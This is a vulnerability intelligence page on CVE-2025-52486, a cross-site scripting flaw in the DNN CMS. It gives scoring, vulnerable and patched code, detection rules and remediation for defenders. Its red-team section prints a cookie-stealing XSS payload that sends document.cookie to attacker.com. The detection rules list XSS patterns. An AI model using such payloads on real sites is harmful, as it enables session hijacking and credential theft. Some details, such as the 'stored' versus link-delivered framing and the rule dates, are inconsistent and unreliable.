☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-52486

CVE-2025-52486 Cross-Site Scripting in Dnn
📅 PUBLISHED: 2025-06-21 02:42 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-52486 is a stored cross-site scripting (XSS) vulnerability in the DNN (formerly DotNetNuke) web content management platform. The flaw resides in the TokenReplace functionality, where specially crafted content in URLs is not properly sanitized by certain SkinObjects. An unauthenticated attacker can inject malicious scripts that execute in the context of a victim's browser session, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions from 6.0.0 up to (but not including) 10.0.1. The vendor has released a patch in version 10.0.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

DNN is a .NET-based CMS distributed via NuGet and GitHub. The vulnerability is introduced through the core platform code, not a third-party package. However, organizations using DNN should verify their deployment's integrity and ensure no malicious modifications have been made to the TokenReplace or SkinObject assemblies. The patch is available in the official DNN GitHub repository and NuGet package feed.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is Medium due to the low complexity and no required authentication, but the impact is limited to low confidentiality and integrity loss.

Deep Dive & Mechanics

The vulnerability exists in the TokenReplace class, which is used to replace tokens in skin objects with dynamic content. When processing URLs, the class fails to properly encode or sanitize user-supplied input before rendering it in the HTML output. An attacker can craft a URL containing malicious JavaScript, such as:

http://target.dnn.com/Default.aspx?tabid=1&ctl=Test&mid=123&<script>alert('XSS')</script>

If a SkinObject (e.g., a navigation menu or breadcrumb) uses TokenReplace to render the current URL without proper encoding, the injected script will be executed in the browser of any user visiting the page. The issue is that certain SkinObjects do not apply HTML encoding to the output of TokenReplace, allowing the injection to persist.

Vulnerable vs. Patched Code

Vulnerable Code (pre-10.0.1):

// In TokenReplace.cs
public string ReplaceTokens(string input)
{
    // No sanitization of URL parameters
    return input.Replace("[URL]", HttpContext.Current.Request.RawUrl);
}

Patched Code (10.0.1):

// In TokenReplace.cs
public string ReplaceTokens(string input)
{
    // Properly encode the URL to prevent XSS
    string encodedUrl = HttpUtility.HtmlEncode(HttpContext.Current.Request.RawUrl);
    return input.Replace("[URL]", encodedUrl);
}

The patch adds HttpUtility.HtmlEncode() to the URL before replacement, ensuring any injected script tags are rendered as text rather than executed.

Exploitation & Lab Setup

Red Team

  1. Setup: Deploy a vulnerable DNN instance (version 9.x) on a local server or container.
  2. Craft Payload: Create a URL with a malicious script in a parameter that is rendered by a SkinObject. For example:
    http://target/Default.aspx?tabid=1&<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Deliver: Send the crafted link to a victim via email or social engineering.
  4. Trigger: When the victim clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.

Blue Team

  1. Detection: Monitor web server logs for URLs containing <script>, onerror=, or other XSS patterns.
  2. Prevention: Implement a Web Application Firewall (WAF) rule to block requests with suspicious characters in URL parameters.
  3. Honeypot: Deploy a fake DNN page that logs all requests and alerts on any script injection attempts.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains containing document.cookie or localStorage data.
  • Host: Modified DNN skin files or TokenReplace assemblies.
  • Logs: Web server logs showing URLs with unencoded <script> tags or alert() calls.
  • File: Suspicious entries in DNN's EventLog table with RawUrl containing script tags.

Detection Engineering

YARA Rule

rule CVE_2025_52486_XSS_DNN {
    meta:
        description = "Detects malicious URLs targeting DNN TokenReplace XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52486"
    strings:
        $s1 = "<script" nocase
        $s2 = "onerror=" nocase
        $s3 = "javascript:" nocase
        $s4 = "RawUrl" nocase
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: DNN TokenReplace XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS patterns in URL targeting DNN
author: Valters IT
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URL parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52486 DNN TokenReplace XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade to DNN Platform version 10.0.1 or later.
  2. Workaround: If upgrade is not possible, manually apply the patch by modifying TokenReplace.cs to include HttpUtility.HtmlEncode() on all URL outputs.
  3. WAF: Deploy a Web Application Firewall with rules to block XSS patterns in URLs.
  4. Input Validation: Ensure all user-supplied data is validated and encoded before rendering.
  5. Monitoring: Enable detailed logging and monitor for suspicious URL patterns.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-52486/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.